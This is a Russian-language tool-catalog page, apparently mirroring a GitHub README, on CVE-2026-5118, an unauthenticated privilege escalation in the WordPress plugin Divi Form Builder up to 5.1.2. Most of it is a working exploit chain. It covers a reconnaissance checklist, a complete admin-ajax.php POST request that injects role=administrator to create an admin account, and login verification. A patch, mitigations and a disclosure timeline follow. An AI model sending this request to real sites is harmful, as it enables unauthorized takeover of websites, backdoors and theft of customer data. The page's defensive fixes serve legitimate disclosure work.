Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection | Kitploit
Инструменты/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection

Репозиторий
53 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Неавторизованное повышение привилегий


🎯 Обзор

Плагин WordPress Divi Form Builder версии 5.1.2 и ниже содержит критическую уязвимость, которая позволяет неаутентифицированному злоумышленнику создавать учётную запись Администратора напрямую через форму регистрации.

Одно скрытое поле. Одно изменённое значение. Полный доступ ко всему сайту.


🧨 Что может сделать злоумышленник?


🔬 Анализ уязвимости

Местонахождение уязвимости

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

Уязвимый код

root@kitploit:~
// Строка ~1691: Получение роли из ввода пользователя (БЕЗ ПРОВЕРКИ БЕЗОПАСНОСТИ)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Строка ~1702: Проверка ТОЛЬКО СУЩЕСТВУЕТ ли роль в системе, НЕ является ли она БЕЗОПАСНОЙ
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Строка ~1745: Немедленное применение внедрённой роли!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" применяется сразу

Почему это срабатывает?

root@kitploit:~
                    ПРОБЛЕМНАЯ ЛОГИКА ПРОВЕРКИ
  ┌──────────────────────────────────────────────────────┐
  │  Злоумышленник отправляет: role=administrator       │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (чисто)    │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE │ ← ОШИБКА! Только проверяет СУЩЕСТВУЕТ/НЕТ
  │                    ↓                                  │
  │  $user->set_role("administrator") → ПОЛНЫЙ АДМИН!  │ ← ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!
  └──────────────────────────────────────────────────────┘

  "administrator" — это действительная роль в WordPress,
  поэтому проверка isset() ВСЕГДА возвращает true.
  Эта функция НИКОГДА не отклоняет опасные роли.

Вектор атаки

Форма регистрации DFB содержит скрытое поле:

root@kitploit:~
<!-- Исходное значение разработчика -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Злоумышленнику достаточно изменить значение -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — Цепочка атаки

Фаза 1: Разведка — Поиск цели

root@kitploit:~
[★] Обнаружение цели: Индикатор Divi Form Builder
    ├── Сканирование конечных точек: 50+ путей регистрации
    ├── Сканирование ссылок главной страницы: ключевые слова
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Разбор Sitemap: URL-адреса XML sitemap
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX-зонд: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: подстраницы /my-account/
    ├── robots.txt: пользовательские sitemap + disallow
    ├── Страницы контактов: скрытые формы DFB
    └── wp-json глубоко: сканирование с приоритетом контента
    
[✓] Найдено: <input class="df_hidden_user_role" value="customer">
[✓] Версия плагина: v4.1.9 (УЯЗВИМО)
[✓] Многошаговая форма с reCAPTCHA v3

Фаза 2: Извлечение параметров формы

root@kitploit:~
Необходимые параметры:
  ├── fb_nonce:        [из скрытого поля / de_fb_obj]
  ├── form_key:        [из скрытого поля]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [ВНЕДРЕНИЕ: administrator]

Сопоставление полей:
  ├── de_fb_user_login + user_login    (оба варианта обязательны)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Фаза 3: Внедрение роли — Повышение привилегий

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Фаза 4: Проверка — Доступ администратора

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] ПОЛНЫЙ ДОСТУП АДМИНИСТРАТОРА ПОДТВЕРЖДЁН
    ├── Панель управления: /wp-admin/
    ├── Пользователи: Может создавать/удалять любых пользователей
    ├── Плагины: Может устанавливать/активировать/редактировать PHP
    ├── Темы: Может редактировать файлы шаблонов → RCE
    └── Настройки: Полное управление сайтом

🧪 Лабораторная проверка

Тестирование проведено в изолированной среде Docker (WordPress 6.5 + DFB v5.0.0):

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  РЕЗУЛЬТАТЫ ЛАБОРАТОРНОЙ ПРОВЕРКИ                      ║
╠══════════════════════════════════════════════════════╣
║  Метод: AJAX (admin-ajax.php)                         ║
║  Внедрённая роль: administrator                        ║
║  Ответ: "Registration successful!"                     ║
║  Вход: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Метод: POST формы (прямая отправка)                  ║
║  Внедрённая роль: administrator                        ║
║  Ответ: "Registration successful!"                     ║
║  Вход: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Статус: ★ ВЗЛОМАНО — Полный доступ администратора ★  ║
╚══════════════════════════════════════════════════════╝

🔧 Рекомендуемое исправление

Решение: Белый список ролей для регистрации

root@kitploit:~
// ДО (уязвимо):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Только проверяет СУЩЕСТВУЕТ, а не БЕЗОПАСНО
}

// ПОСЛЕ (безопасно):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Разрешить только безопасные роли для публичной регистрации
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Отклонить все опасные роли
}

Дополнительные шаги

  1. Удалить параметр role из формы на фронтенде — Использовать уже существующий default_user_role
  2. Добавить строгую проверку nonce в AJAX-обработчике
  3. Добавить проверку прав current_user_can('create_users') для специальных ролей
  4. Ограничить частоту запросов к конечной точке регистрации для предотвращения перебора

📊 Хронология

ДатаСобытие
2026-04-13Выпущена версия 5.1.3 (возможное исправление на основе changelog)
2026-05-21Уязвимость независимо подтверждена в изолированной лаборатории
2026-05-21Ответственное раскрытие отправлено в Divi Engine Security

🛡️ Временное смягчение (до установки патча)

  1. Обновиться до версии 5.1.3+ если доступно
  2. Отключить форму регистрации DFB до применения исправления
  3. Использовать правило WAF для блокировки параметра role=administrator в POST-запросах
  4. Мониторить таблицу wp_users на предмет неизвестных новых учётных записей администратора
  5. Ограничить доступ к /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ Отказ от ответственности

Этот документ создан в образовательных целях и для ответственного раскрытия. Все тесты эксплуатации проводились в изолированной лабораторной среде. На реальных сайтах проводилось только пассивное обнаружение (идентификация формы и параметров, без отправки эксплойтных данных).

Автор не несёт ответственности за неправомерное использование информации из этого документа.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Неавторизованное повышение привилегий
Обнаружено и подтверждено: 2026-05-21

Скачать инструмент
ВозможностьПоследствие
🔑 Создать учётную запись администратора без входа в системуПолный захват сайта
📦 Доступ к данным клиентов WooCommerceУтечка данных
💉 Редактирование файлов плагинов/тем (PHP)Удалённое выполнение кода
🕳️ Создание скрытого бэкдораПостоянный доступ
👥 Просмотр всех данных пользователейНарушение конфиденциальности